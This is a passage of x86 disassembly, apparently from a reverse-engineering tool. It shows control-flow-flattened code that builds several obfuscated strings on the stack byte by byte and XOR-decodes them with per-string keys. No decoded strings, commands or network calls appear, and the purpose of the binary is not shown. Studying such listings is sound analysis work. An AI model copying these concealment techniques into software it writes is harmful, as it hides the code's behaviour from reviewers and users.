mov byte [edi + 0xe], 0x7e
mov byte [edi + 0xf], 0x69
mov byte [edi + 0x10], 0x36
mov byte [edi + 0x11], 0x34
mov ah, 0x5b
mov byte [edi + 0x12], ah
mov byte [edi + 0x13], 0x6f
mov byte [edi + 0x14], cl
mov byte [edi + 0x15], 0x60
mov byte [edi + 0x16], 0x66
mov byte [edi + 0x17], 0x50
mov cl, 0x58
mov byte [edi + 0x18], cl
mov byte [edi + 0x19], 0x7d
mov byte [edi + 0x1a], dl
mov byte [edi + 0x1b], 0x7a
mov byte [edi + 0x1c], 0x46
mov dl, 0x45
mov byte [edi + 0x1d], dl
mov byte [edi + 0x1e], 0x49
mov byte [edi + 0x1f], 0x71
mov byte [edi + 0x20], 0x77
mov byte [edi + 0x21], 0x44
mov byte [edi + 0x22], cl
mov byte [edi + 0x23], ah
mov byte [edi + 0x24], 0x54
mov byte [edi + 0x25], al
mov byte [edi + 0x26], 0x1d
mov byte [edi + 0x27], 0x59
mov byte [edi + 0x28], dl
mov byte [edi + 0x29], ah
lea eax, [esp + 0x2b8]
lea ecx, [esp + 0x2ba]
mov dword [esp + 0x23c], ecx
mov edx, 0xe004f247
mov ecx, 0xd8f42e95
cmp edx, 0xd8f42e95
je 0x1006db20
cmp edx, 0xe004f247
jne 0x1006dafb
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x23c]
mov edx, 0xe004f247
cmove edx, ecx
jmp 0x1006dafb
mov eax, dword [esp]
lea ebx, [eax + 0x228]
lea eax, [esp + 0x28c]
mov dword [esp + 0x1fc], eax
mov eax, dword [esp + 0x1fc]
mov al, byte [eax]
mov byte [esp + 0x1c0], al
mov edx, 0xdec0d507
mov ecx, 0xde49ed7e
cmp edx, 0x10110be6
jg 0x1006db87
cmp edx, 0xca8e04bb
je 0x1006dbcb
cmp edx, 0xde49ed7e
je 0x1006dc66
cmp edx, 0xdec0d507
jne 0x1006db51
test byte [esp + 0x1c0], 1
mov edx, 0x160dbd37
cmove edx, ecx
jmp 0x1006db51
cmp edx, 0x10110be7
je 0x1006dbe7
cmp edx, 0x160dbd37
je 0x1006dc3c
cmp edx, 0x1b59085e
jne 0x1006db51
mov edx, dword [esp + 0x23c]
mov byte [esp + 0x2b8], 0
mov byte [esp + 0x2b9], 0
mov edx, dword [esp + 0x1fc]
mov byte [edx], 0
mov edx, 0xde49ed7e
jmp 0x1006db51
mov edx, dword [esp + 0x184]
cmp edx, 0x2a
mov edx, 0x1b59085e
mov eax, 0x10110be7
cmovb edx, eax
jmp 0x1006db51
mov edx, dword [esp + 0x184]
mov al, byte [esp + edx + 0x28e]
mov edx, dword [esp + 0x184]
mov ah, byte [esp + 0x28d]
mov ebp, 0xfe
sub ebp, edx
and ebp, 0x96
inc edx
and edx, 0x69
or edx, ebp
xor dl, ah
xor dl, al
xor dl, 0xbc
mov eax, dword [esp + 0x184]
mov byte [esp + eax + 0x28e], dl
inc dword [esp + 0x184]
mov edx, 0xca8e04bb
jmp 0x1006db51
lea eax, [esp + 0x184]
mov dword [esp + 0x23c], eax
mov edx, dword [esp + 0x23c]
mov dword [esp + 0x184], 0
mov edx, 0xca8e04bb
jmp 0x1006db51
xor eax, eax
mov dword [esp + 0x2bc], eax
mov dword [esp + 0x2cc], eax
mov dword [esp + 0x2d0], 0xf
mov byte [esp + 0x2bc], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebx
call fcn.10061f56
add esp, 8
lea eax, [esp + 0x274]
mov dword [esp + 0xd4], eax
mov eax, dword [esp + 0xd4]
lea esi, [esp + 0x23c]
mov dword [esp + 0xd8], esi
mov ecx, dword [esp + 0xd8]
mov byte [esi], 1
mov byte [esi + 1], 0x3e
lea ebx, [esp + 0x23e]
mov byte [ebx], 0x37
mov al, 0x52
mov byte [ebx + 1], al
mov byte [ebx + 2], 0x58
mov byte [ebx + 3], 0x61
mov ch, 0x67
mov byte [ebx + 4], ch
mov byte [ebx + 5], 0x6e
mov byte [ebx + 6], 0x64
mov byte [ebx + 7], 0x73
mov dh, 0x76
mov byte [ebx + 8], dh
mov byte [ebx + 9], 0x5a
mov al, 0x4e
mov byte [ebx + 0xa], al
mov byte [ebx + 0xb], 0x6d
mov byte [ebx + 0xc], 0x6c
mov byte [ebx + 0xd], ch
mov ch, 0x71
mov byte [ebx + 0xe], ch
mov cl, 0x6f
mov byte [ebx + 0xf], cl
mov ah, 0x74
mov byte [ebx + 0x10], ah
mov byte [ebx + 0x11], 0x68
mov al, 0x7a
mov byte [ebx + 0x12], al
mov dl, 0x5b
mov byte [ebx + 0x13], dl
mov dl, 0x5b
mov byte [ebx + 0x14], dh
mov byte [ebx + 0x15], ah
mov byte [ebx + 0x16], cl
mov byte [ebx + 0x17], 0x66
mov byte [ebx + 0x18], al
mov byte [ebx + 0x19], al
mov al, 0x47
mov byte [ebx + 0x1a], al
mov byte [ebx + 0x1b], ch
mov cl, 0x7f
mov byte [ebx + 0x1c], cl
mov byte [ebx + 0x1d], 0x77
mov byte [ebx + 0x1e], cl
mov byte [ebx + 0x1f], 0x70
mov byte [ebx + 0x20], 0x7e
mov byte [ebx + 0x21], 0x57
mov cl, 0x5c
mov byte [ebx + 0x22], cl
mov byte [ebx + 0x23], cl
mov byte [ebx + 0x24], 0x4c
mov byte [ebx + 0x25], al
mov byte [ebx + 0x26], pe_nt_image_headers32
mov byte [ebx + 0x27], 0x41
mov al, 0x51
mov byte [ebx + 0x28], al
mov cl, 0x52
mov byte [ebx + 0x29], cl
mov cl, 0x4e
mov byte [ebx + 0x2a], cl
mov byte [ebx + 0x2b], cl
mov byte [ebx + 0x2c], 0x46
mov byte [ebx + 0x2d], al
mov byte [ebx + 0x2e], 0xd
mov byte [ebx + 0x2f], 0x59
mov byte [ebx + 0x30], 0x45
mov byte [ebx + 0x31], dl
lea ecx, [esp + 0x270]
lea eax, [esp + 0x272]
mov dword [esp + 0x1fc], eax
mov edi, 0xa4541c35
mov edx, 0x8a685611
cmp edi, 0x8a685611
je 0x1006ddec
cmp edi, 0xa4541c35
jne 0x1006ddc7
mov byte [ecx], 0
inc ecx
cmp ecx, dword [esp + 0x1fc]
mov edi, 0xa4541c35
cmove edi, edx
jmp 0x1006ddc7
mov eax, dword [esp]
lea ebp, [eax + 0x240]
mov dword [esp + 0x184], esi
mov eax, dword [esp + 0x184]
mov al, byte [eax]
mov byte [esp + 0x148], al
mov edx, 0x205afff0
cmp edx, 0x205affef
jg 0x1006de8b
cmp edx, 0x935abef1
je 0x1006dec5
cmp edx, 0xcac02f2e
je 0x1006def0
cmp edx, 0xda37cbc2
jne 0x1006de11
mov edx, dword [esp + 0x1c0]
mov al, byte [esp + edx + 0x23e]
mov edi, dword [esp + 0x1c0]
mov dl, byte [esp + 0x23d]
movzx esi, dl
lea ecx, [edi + 1]
mov edx, 0xfe
sub edx, edi
and edx, esi
not esi
and esi, ecx
or edx, esi
xor dl, al
xor dl, 0x32
mov eax, dword [esp + 0x1c0]
mov byte [esp + eax + 0x23e], dl
inc dword [esp + 0x1c0]
mov edx, 0xcac02f2e
jmp 0x1006de11
cmp edx, 0x6b6ae1f8
je 0x1006df0c
cmp edx, 0x6ad42b61
je 0x1006df36
cmp edx, 0x205afff0
jne 0x1006de11
test byte [esp + 0x148], 1
mov edx, 0x6b6ae1f8
mov eax, 0x6ad42b61
cmove edx, eax
jmp 0x1006de11
mov edx, dword [esp + 0x1fc]
mov byte [esp + 0x270], 0
mov byte [esp + 0x271], 0
mov edx, dword [esp + 0x184]
mov byte [edx], 0
mov edx, 0x6ad42b61
jmp 0x1006de11
mov edx, dword [esp + 0x1c0]
cmp edx, 0x32
mov edx, 0x935abef1
mov eax, 0xda37cbc2
cmovb edx, eax
jmp 0x1006de11
lea eax, [esp + 0x1c0]
mov dword [esp + 0x1fc], eax
mov edx, dword [esp + 0x1fc]
mov dword [esp + 0x1c0], 0
mov edx, 0xcac02f2e
jmp 0x1006de11
xor eax, eax
mov dword [esp + 0x274], eax
mov dword [esp + 0x284], eax
mov dword [esp + 0x288], 0xf
mov byte [esp + 0x274], 0
push ebx
call fcn.1009ee80
add esp, 4
lea esi, [esp + 0x274]
mov ecx, esi
push eax
push ebx
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x224]
mov dword [esp + 0xdc], esi
mov eax, dword [esp + 0xdc]
lea eax, [esp + 0x1fc]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0xe0]
lea ebx, [esp + 0x1fe]
mov byte [ebx - 2], 1
mov byte [ebx - 1], 0x3e
mov byte [ebx], 0x24
mov byte [ebx + 1], 0x41
mov byte [ebx + 2], 0x4b
mov byte [ebx + 3], 0x72
mov al, 0x74
mov byte [ebx + 4], al
mov byte [ebx + 5], 0x7d
mov byte [ebx + 6], 0x77
mov cl, 0x60
mov byte [ebx + 7], cl
mov dl, 0x65
mov byte [ebx + 8], dl
mov byte [ebx + 9], 0x49
mov ah, 0x47
mov byte [ebx + 0xa], ah
mov byte [ebx + 0xb], 0x6a
mov byte [ebx + 0xc], 0x61
mov byte [ebx + 0xd], 0x46
mov byte [ebx + 0xe], 0x5f
mov byte [ebx + 0xf], 0x58
mov byte [ebx + 0x10], 0x38
mov byte [ebx + 0x11], 0x39
mov byte [ebx + 0x12], 0x50
mov byte [ebx + 0x13], 0x53
mov byte [ebx + 0x14], 0x7e
mov byte [ebx + 0x15], 0x7c
mov ch, 0x5b
mov byte [ebx + 0x16], ch
mov byte [ebx + 0x17], 0x62
mov byte [ebx + 0x18], al
mov byte [ebx + 0x19], 0x73
mov byte [ebx + 0x1a], 0x6d
mov byte [ebx + 0x1b], cl
mov byte [ebx + 0x1c], 0x67
mov byte [ebx + 0x1d], 0x2f
mov byte [ebx + 0x1e], dl
mov byte [ebx + 0x1f], ah
mov byte [ebx + 0x20], ch
lea eax, [esp + 0x21f]
lea ecx, [esp + 0x221]
mov dword [esp + 0x184], ecx
mov edx, 0xc9b875da
mov ecx, 0x6df912c4
cmp edx, 0x6df912c4
je 0x1006e07c
cmp edx, 0xc9b875da
jne 0x1006e057
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x184]
mov edx, 0xc9b875da
cmove edx, ecx
jmp 0x1006e057
mov eax, dword [esp]
lea ebp, [eax + 0x258]
lea eax, [esp + 0x1fc]
mov dword [esp + 0x1c0], eax
mov eax, dword [esp + 0x1c0]
mov al, byte [eax]
mov byte [esp + 0x10c], al
mov edx, 0xaf297b9d
mov edi, 0xd6468c31
mov ecx, 0x11f301cc
cmp edx, 0xd6468c30
jg 0x1006e0fe
cmp edx, 0x9f94a134
je 0x1006e12e
cmp edx, 0xaf297b9d
je 0x1006e158
cmp edx, 0xd0c51a82
jne 0x1006e0b2
mov edx, dword [esp + 0x184]
mov byte [esp + 0x21f], 0
mov byte [esp + 0x220], 0
mov edx, dword [esp + 0x1c0]
mov byte [edx], 0
mov edx, 0xd6468c31
jmp 0x1006e0b2
cmp edx, 0xd6468c31
je 0x1006e1b1
cmp edx, 0x11f301cc
je 0x1006e16d
cmp edx, 0x4a99482c
jne 0x1006e0b2
mov edx, dword [esp + 0x148]
cmp edx, 0x21
mov edx, 0xd0c51a82
cmovb edx, ecx
jmp 0x1006e0b2
lea eax, [esp + 0x148]
mov dword [esp + 0x184], eax
mov edx, dword [esp + 0x184]
mov dword [esp + 0x148], 0
mov edx, 0x4a99482c
jmp 0x1006e0b2
test byte [esp + 0x10c], 1
mov edx, 0x9f94a134
cmove edx, edi
jmp 0x1006e0b2
mov edx, dword [esp + 0x148]
mov al, byte [esp + edx + 0x1fe]
mov edx, dword [esp + 0x148]
mov ah, byte [esp + 0x1fd]
inc dl
xor dl, ah
xor dl, al
xor dl, 0x21
mov eax, dword [esp + 0x148]
mov byte [esp + eax + 0x1fe], dl
inc dword [esp + 0x148]
mov edx, 0x4a99482c
jmp 0x1006e0b2
xor eax, eax
mov dword [esp + 0x224], eax
mov dword [esp + 0x234], eax
mov dword [esp + 0x238], 0xf
mov byte [esp + 0x224], 0
push ebx
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push ebx
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x1e4]
mov dword [esp + 0xe4], esi
mov eax, dword [esp + 0xe4]
lea eax, [esp + 0x1c0]
mov dword [esp + 0xe8], eax
mov eax, dword [esp + 0xe8]
lea ebx, [esp + 0x1c2]
mov byte [ebx - 2], 1
mov byte [ebx - 1], 0x3e
mov byte [ebx], 0x1b
mov byte [ebx + 1], 0x7e
mov byte [ebx + 2], 0x74
mov byte [ebx + 3], 0x4d
mov byte [ebx + 4], 0x4b
mov al, 0x42
mov byte [ebx + 5], al
mov cl, 0x48
mov byte [ebx + 6], cl
mov byte [ebx + 7], 0x5f
mov dl, 0x5a
mov byte [ebx + 8], dl
mov byte [ebx + 9], 0x76
mov byte [ebx + 0xa], pe_nt_image_headers32
mov byte [ebx + 0xb], 0x55
mov ah, 0x5e
mov byte [ebx + 0xc], ah
mov byte [ebx + 0xd], 0x79
mov byte [ebx + 0xe], 0x60
mov byte [ebx + 0xf], 0x67
mov byte [ebx + 0x10], 7
mov byte [ebx + 0x11], 6
mov byte [ebx + 0x12], 0x6f
mov byte [ebx + 0x13], dl
mov byte [ebx + 0x14], dl
mov byte [ebx + 0x15], al
mov byte [ebx + 0x16], 0x52
mov byte [ebx + 0x17], cl
mov byte [ebx + 0x18], 0x58
mov byte [ebx + 0x19], ah
mov byte [ebx + 0x1a], 0x15
mov byte [ebx + 0x1b], 0x59
mov byte [ebx + 0x1c], 0x45
mov byte [ebx + 0x1d], 0x5b
lea eax, [esp + 0x1e0]
lea ecx, [esp + 0x1e2]
mov dword [esp + 0x184], ecx
mov edx, 0xaf60c3f1
mov ecx, 0xe3f93b97
cmp edx, 0xe3f93b97
je 0x1006e2e3
cmp edx, 0xaf60c3f1
jne 0x1006e2be
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x184]
mov edx, 0xaf60c3f1
cmove edx, ecx
jmp 0x1006e2be
mov eax, dword [esp]
lea ebp, [eax + 0x270]
lea eax, [esp + 0x1c0]
mov dword [esp + 0x148], eax
mov eax, dword [esp + 0x148]
mov al, byte [eax]
mov byte [esp + 0x1a8], al
mov edx, 0xf9d7d929
mov edi, 0xa6ab2b03
mov ecx, 0x9f805a64
cmp edx, 0xf9d7d928
jg 0x1006e364
cmp edx, 0x9f805a64
je 0x1006e418
cmp edx, 0xa6ab2b03
je 0x1006e392
cmp edx, 0xdcf41c33
jne 0x1006e319
lea eax, [esp + 0x10c]
mov dword [esp + 0x184], eax
mov edx, dword [esp + 0x184]
mov dword [esp + 0x10c], 0
mov edx, 0x53cc5c3b
jmp 0x1006e319
cmp edx, 0x6ffc81fe
je 0x1006e3d6
cmp edx, 0x53cc5c3b
je 0x1006e401
cmp edx, 0xf9d7d929
jne 0x1006e319
test byte [esp + 0x1a8], 1
mov edx, 0xdcf41c33
cmove edx, ecx
jmp 0x1006e319
mov edx, dword [esp + 0x10c]
mov al, byte [esp + edx + 0x1c2]
mov edx, dword [esp + 0x10c]
mov ah, byte [esp + 0x1c1]
inc dl
xor dl, ah
xor dl, al
xor dl, 0x1e
mov eax, dword [esp + 0x10c]
mov byte [esp + eax + 0x1c2], dl
inc dword [esp + 0x10c]
mov edx, 0x53cc5c3b
jmp 0x1006e319
mov edx, dword [esp + 0x184]
mov byte [esp + 0x1e0], 0
mov byte [esp + 0x1e1], 0
mov edx, dword [esp + 0x148]
mov byte [edx], 0
mov edx, 0x9f805a64
jmp 0x1006e319
mov edx, dword [esp + 0x10c]
cmp edx, 0x1e
mov edx, 0x6ffc81fe
cmovb edx, edi
jmp 0x1006e319
xor eax, eax
mov dword [esp + 0x1e4], eax
mov dword [esp + 0x1f4], eax
mov dword [esp + 0x1f8], 0xf
mov byte [esp + 0x1e4], 0
push ebx
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push ebx
call fcn.10007b00
push esi
push ebp
call fcn.10061f56
add esp, 8
lea edi, [esp + 0x1a8]
mov dword [esp + 0xec], edi
mov eax, dword [esp + 0xec]
lea eax, [esp + 0x184]
mov dword [esp + 0xf0], eax
mov eax, dword [esp + 0xf0]
lea ebx, [esp + 0x186]
mov byte [ebx - 2], 1
mov byte [ebx - 1], 0x3e
mov byte [ebx], 0x1a
mov byte [ebx + 1], 0x7f
mov byte [ebx + 2], 0x75
mov byte [ebx + 3], 0x4c
mov al, 0x4a
mov byte [ebx + 4], al
mov byte [ebx + 5], 0x43
mov byte [ebx + 6], 0x49
mov byte [ebx + 7], 0x5e
mov cl, 0x5b
mov byte [ebx + 8], cl
mov byte [ebx + 9], 0x77
mov byte [ebx + 0xa], 0x79
mov byte [ebx + 0xb], 0x54
mov byte [ebx + 0xc], 0x5f
mov byte [ebx + 0xd], pe_nt_image_headers32
mov byte [ebx + 0xe], 0x61
mov byte [ebx + 0xf], 0x66
mov byte [ebx + 0x10], 6
mov byte [ebx + 0x11], 7
mov byte [ebx + 0x12], 0x6e
mov dl, 0x47
mov byte [ebx + 0x13], dl
mov byte [ebx + 0x14], 0x51
mov byte [ebx + 0x15], 0x50
mov byte [ebx + 0x16], 0x45
mov byte [ebx + 0x17], 0x4f
mov byte [ebx + 0x18], al
mov al, 8
mov byte [ebx + 0x19], al
mov byte [ebx + 0x1a], al
mov byte [ebx + 0x1b], 0x13
mov byte [ebx + 0x1c], 0x59
mov byte [ebx + 0x1d], dl
mov byte [ebx + 0x1e], cl
lea eax, [esp + 0x1a5]
lea ecx, [esp + 0x1a7]
mov dword [esp + 0x148], ecx
mov edx, 0x6b2d2d72
mov ecx, 0xac1a3574
cmp edx, 0xac1a3574
je 0x1006e54f
cmp edx, 0x6b2d2d72
jne 0x1006e52a
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x148]
mov edx, 0x6b2d2d72
cmove edx, ecx
jmp 0x1006e52a
mov eax, dword [esp]
lea ebp, [eax + 0x288]
lea eax, [esp + 0x184]
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x10c]
mov al, byte [eax]
mov byte [esp + 0x130], al
mov edx, 0xfc05f5d
mov ecx, 0xbeaa9632
cmp edx, 0xfc05f5c
jg 0x1006e5cc
cmp edx, 0xbeaa9632
je 0x1006e695
cmp edx, 0xcc0ea06f
je 0x1006e5fa
cmp edx, 0xdf70cfd4
jne 0x1006e580
mov edx, dword [esp + 0x148]
mov byte [esp + 0x1a5], 0
mov byte [esp + 0x1a6], 0
mov edx, dword [esp + 0x10c]
mov byte [edx], 0
mov edx, 0xbeaa9632
jmp 0x1006e580
cmp edx, 0x6dd41a01
je 0x1006e64f
cmp edx, 0x1ea8868e
je 0x1006e679
cmp edx, 0xfc05f5d
jne 0x1006e580
test byte [esp + 0x130], 1
mov edx, 0x6dd41a01
cmove edx, ecx
jmp 0x1006e580
mov edx, dword [esp + 0x16c]
mov al, byte [esp + edx + 0x186]
mov edx, dword [esp + 0x16c]
mov ah, byte [esp + 0x185]
mov esi, 0xfe
sub esi, edx
and esi, 0xc4
inc edx
and edx, 0x3b
or edx, esi
xor dl, ah
xor dl, al
xor dl, 0xdb
mov eax, dword [esp + 0x16c]
mov byte [esp + eax + 0x186], dl
inc dword [esp + 0x16c]
mov edx, 0x1ea8868e
jmp 0x1006e580
lea eax, [esp + 0x16c]
mov dword [esp + 0x148], eax
mov edx, dword [esp + 0x148]
mov dword [esp + 0x16c], 0
mov edx, 0x1ea8868e
jmp 0x1006e580
mov edx, dword [esp + 0x16c]
cmp edx, 0x1f
mov edx, 0xdf70cfd4
mov eax, 0xcc0ea06f
cmovb edx, eax
jmp 0x1006e580
xor eax, eax
mov dword [esp + 0x1a8], eax
mov dword [esp + 0x1b8], eax
mov dword [esp + 0x1bc], 0xf
mov byte [esp + 0x1a8], 0
push ebx
call fcn.1009ee80
add esp, 4
mov ecx, edi
push eax
push ebx
call fcn.10007b00
push edi
push ebp
call fcn.10061f56
add esp, 8
lea eax, [esp + 0x16c]
mov dword [esp + 0xf4], eax
mov eax, dword [esp + 0xf4]
lea eax, [esp + 0x148]
mov dword [esp + 0xf8], eax
mov eax, dword [esp + 0xf8]
lea edi, [esp + 0x14a]
mov byte [edi - 2], 1
mov byte [edi - 1], 0x3e
mov byte [edi], 0x1b
mov byte [edi + 1], 0x7e
mov byte [edi + 2], 0x74
mov byte [edi + 3], 0x4d
mov byte [edi + 4], 0x4b
mov byte [edi + 5], 0x42
mov byte [edi + 6], 0x48
mov al, 0x5f
mov byte [edi + 7], al
mov byte [edi + 8], 0x5a
mov byte [edi + 9], 0x76
mov byte [edi + 0xa], pe_nt_image_headers32
mov cl, 0x55
mov byte [edi + 0xb], cl
mov byte [edi + 0xc], 0x5e
mov byte [edi + 0xd], 0x79
mov byte [edi + 0xe], 0x60
mov byte [edi + 0xf], 0x67
mov byte [edi + 0x10], 7
mov byte [edi + 0x11], 6
mov byte [edi + 0x12], 0x6f
mov byte [edi + 0x13], 0x47
mov byte [edi + 0x14], 0x43
mov byte [edi + 0x15], cl
mov byte [edi + 0x16], al
mov byte [edi + 0x17], 0x57
mov byte [edi + 0x18], 0x4a
mov byte [edi + 0x19], 0x4e
mov byte [edi + 0x1a], 0x15
mov byte [edi + 0x1b], 0x59
mov byte [edi + 0x1c], 0x45
mov byte [edi + 0x1d], 0x5b
lea eax, [esp + 0x168]
lea ecx, [esp + 0x16a]
mov dword [esp + 0x10c], ecx
mov edx, 0xaf60c3f1
mov ecx, 0xe3f93b97
cmp edx, 0xe3f93b97
je 0x1006e7c8
cmp edx, 0xaf60c3f1
jne 0x1006e7a3
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x10c]
mov edx, 0xaf60c3f1
cmove edx, ecx
jmp 0x1006e7a3
mov eax, dword [esp]
lea ebx, [eax + 0x2a0]
lea eax, [esp + 0x148]
mov dword [esp + 0x130], eax
mov eax, dword [esp + 0x130]
mov al, byte [eax]
mov byte [esp + 0xc], al
mov ebp, 0xf9d7d929
mov esi, 0xa6ab2b03
mov edx, 0x9f805a64
cmp ebp, 0xf9d7d928
jg 0x1006e846
cmp ebp, 0x9f805a64
je 0x1006e8f6
cmp ebp, 0xa6ab2b03
je 0x1006e871
cmp ebp, 0xdcf41c33
jne 0x1006e7fb
lea eax, [esp + 0x108]
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x10c]
mov dword [esp + 0x108], 0
mov ebp, 0x53cc5c3b
jmp 0x1006e7fb
cmp ebp, 0x6ffc81fe
je 0x1006e8b4
cmp ebp, 0x53cc5c3b
je 0x1006e8df
cmp ebp, 0xf9d7d929
jne 0x1006e7fb
test byte [esp + 0xc], 1
mov ebp, 0xdcf41c33
cmove ebp, edx
jmp 0x1006e7fb
mov eax, dword [esp + 0x108]
mov cl, byte [esp + eax + 0x14a]
mov eax, dword [esp + 0x108]
mov ch, byte [esp + 0x149]
inc al
xor al, ch
xor al, cl
xor al, 0x1e
mov ecx, dword [esp + 0x108]
mov byte [esp + ecx + 0x14a], al
inc dword [esp + 0x108]
mov ebp, 0x53cc5c3b
jmp 0x1006e7fb
mov eax, dword [esp + 0x10c]
mov byte [esp + 0x168], 0
mov byte [esp + 0x169], 0
mov eax, dword [esp + 0x130]
mov byte [eax], 0
mov ebp, 0x9f805a64
jmp 0x1006e7fb
mov eax, dword [esp + 0x108]
cmp eax, 0x1e
mov ebp, 0x6ffc81fe
cmovb ebp, esi
jmp 0x1006e7fb
xor eax, eax
mov dword [esp + 0x16c], eax
mov dword [esp + 0x17c], eax
mov dword [esp + 0x180], 0xf
mov byte [esp + 0x16c], 0
push edi
call fcn.1009ee80
add esp, 4
lea esi, [esp + 0x16c]
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push ebx
call fcn.10061f56
add esp, 8
lea esi, [esp + 0x130]
mov dword [esp + 0xfc], esi
mov eax, dword [esp + 0xfc]
lea eax, [esp + 0x10c]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x100]
lea edi, [esp + 0x10e]
mov byte [edi - 2], 1
mov byte [edi - 1], 0x3e
mov byte [edi], 0x1b
mov al, 0x7e
mov byte [edi + 1], al
mov byte [edi + 2], 0x74
mov byte [edi + 3], 0x4d
mov byte [edi + 4], 0x4b
mov byte [edi + 5], 0x42
mov byte [edi + 6], 0x48
mov cl, 0x5f
mov byte [edi + 7], cl
mov byte [edi + 8], 0x5a
mov byte [edi + 9], 0x76
mov byte [edi + 0xa], 0x68
mov byte [edi + 0xb], 0x54
mov byte [edi + 0xc], al
mov al, 0x58
mov byte [edi + 0xd], al
mov byte [edi + 0xe], 0x4c
mov byte [edi + 0xf], 0x6c
mov dl, 0x72
mov byte [edi + 0x10], dl
mov byte [edi + 0x11], 0x4a
mov byte [edi + 0x12], dl
mov byte [edi + 0x13], 0x41
mov byte [edi + 0x14], 0x51
mov byte [edi + 0x15], cl
mov byte [edi + 0x16], al
mov byte [edi + 0x17], 0x6b
mov byte [edi + 0x18], 0x4f
mov al, 0x59
mov byte [edi + 0x19], al
mov byte [edi + 0x1a], 0x15
mov byte [edi + 0x1b], al
mov byte [edi + 0x1c], 0x45
mov byte [edi + 0x1d], 0x5b
lea eax, [esp + 0x12c]
lea ecx, [esp + 0x12e]
mov dword [esp + 0x108], ecx
mov edx, 0xaf60c3f1
mov ecx, 0xe3f93b97
cmp edx, 0xe3f93b97
je 0x1006ea30
cmp edx, 0xaf60c3f1
jne 0x1006ea0b
mov byte [eax], 0
inc eax
cmp eax, dword [esp + 0x108]
mov edx, 0xaf60c3f1
cmove edx, ecx
jmp 0x1006ea0b
add dword [esp], 0x2b8
lea eax, [esp + 0x10c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov al, byte [eax]
mov byte [esp + 7], al
mov ebx, 0xf9d7d929
lea ebp, [esp + 0x104]
mov ecx, 0xa6ab2b03
mov edx, 0x9f805a64
cmp ebx, 0xf9d7d928
jg 0x1006eaa6
cmp ebx, 0x9f805a64
je 0x1006eb54
cmp ebx, 0xa6ab2b03
je 0x1006ead1
cmp ebx, 0xdcf41c33
jne 0x1006ea62
mov dword [esp + 0x108], ebp
mov ebx, dword [esp + 0x108]
mov dword [esp + 0x104], 0
mov ebx, 0x53cc5c3b
jmp 0x1006ea62
cmp ebx, 0x6ffc81fe
je 0x1006eb15
cmp ebx, 0x53cc5c3b
je 0x1006eb3d
cmp ebx, 0xf9d7d929
jne 0x1006ea62
test byte [esp + 7], 1
mov ebx, 0xdcf41c33
cmove ebx, edx
jmp 0x1006ea62
mov ebx, dword [esp + 0x104]
mov al, byte [esp + ebx + 0x10e]
mov ebx, dword [esp + 0x104]
mov ah, byte [esp + 0x10d]
inc bl
xor bl, ah
xor bl, al
xor bl, 0x1e
mov eax, dword [esp + 0x104]
mov byte [esp + eax + 0x10e], bl
inc dword [esp + 0x104]
mov ebx, 0x53cc5c3b
jmp 0x1006ea62
mov ebx, dword [esp + 0x108]
mov byte [esp + 0x12c], 0
mov byte [esp + 0x12d], 0
mov ebx, dword [esp + 0xc]
mov byte [ebx], 0
mov ebx, 0x9f805a64
jmp 0x1006ea62
mov ebx, dword [esp + 0x104]
cmp ebx, 0x1e
mov ebx, 0x6ffc81fe
cmovb ebx, ecx
jmp 0x1006ea62
xor ebx, ebx
mov dword [esp + 0x130], ebx
mov dword [esp + 0x140], ebx
mov dword [esp + 0x144], 0xf
mov byte [esp + 0x130], 0
push edi
call fcn.1009ee80
add esp, 4
mov ecx, esi
push eax
push edi
call fcn.10007b00
push esi
push dword [esp + 4]
call fcn.10061f56
add esp, 8
mov esi, 0x2d0
lea edx, [esp + 0x838]
add edx, esi
mov eax, dword [esp + 8]
mov dword [0x100c6484], ebx
mov dword [0x100c6488], ebx
mov ecx, 0x100c6484
push edx
push eax
call fcn.100715fe
add esi, dword [esp + 8]
mov eax, 0x1db1fa91
mov edi, 0xe46c873
cmp eax, 0xe46c873
je 0x1006ebf4
cmp eax, 0x1db1fa91
jne 0x1006ebce
add esi, 0xffffffe8
mov ecx, esi
call fcn.100087f0
cmp esi, dword [esp + 8]
mov eax, 0x1db1fa91
cmove eax, edi
jmp 0x1006ebce
lea ecx, [esp + 0x130]
call fcn.100087f0
mov eax, dword [esp + 0x100]
mov eax, dword [esp + 0xfc]
lea ecx, [esp + 0x16c]
call fcn.100087f0
mov eax, dword [esp + 0xf8]
mov eax, dword [esp + 0xf4]
lea ecx, [esp + 0x1a8]
call fcn.100087f0
mov eax, dword [esp + 0xf0]
mov eax, dword [esp + 0xec]
lea ecx, [esp + 0x1e4]
call fcn.100087f0
mov eax, dword [esp + 0xe8]
mov eax, dword [esp + 0xe4]
lea ecx, [esp + 0x224]
call fcn.100087f0
mov eax, dword [esp + 0xe0]
mov eax, dword [esp + 0xdc]
lea ecx, [esp + 0x274]
call fcn.100087f0
mov eax, dword [esp + 0xd8]
mov eax, dword [esp + 0xd4]
lea ecx, [esp + 0x2bc]
call fcn.100087f0
mov eax, dword [esp + 0xd0]
mov eax, dword [esp + 0xcc]
lea ecx, [esp + 0x300]
call fcn.100087f0
mov eax, dword [esp + 0xc8]
mov eax, dword [esp + 0xc4]
lea ecx, [esp + 0x330]
call fcn.100087f0
mov eax, dword [esp + 0xc0]
mov eax, dword [esp + 0xbc]
lea ecx, [esp + 0x364]
call fcn.100087f0
mov eax, dword [esp + 0xb8]
mov eax, dword [esp + 0xb4]
lea ecx, [esp + 0x398]
call fcn.100087f0
mov eax, dword [esp + 0xb0]
mov eax, dword [esp + 0xac]
lea ecx, [esp + 0x3cc]
call fcn.100087f0
mov eax, dword [esp + 0xa8]
mov eax, dword [esp + 0xa4]
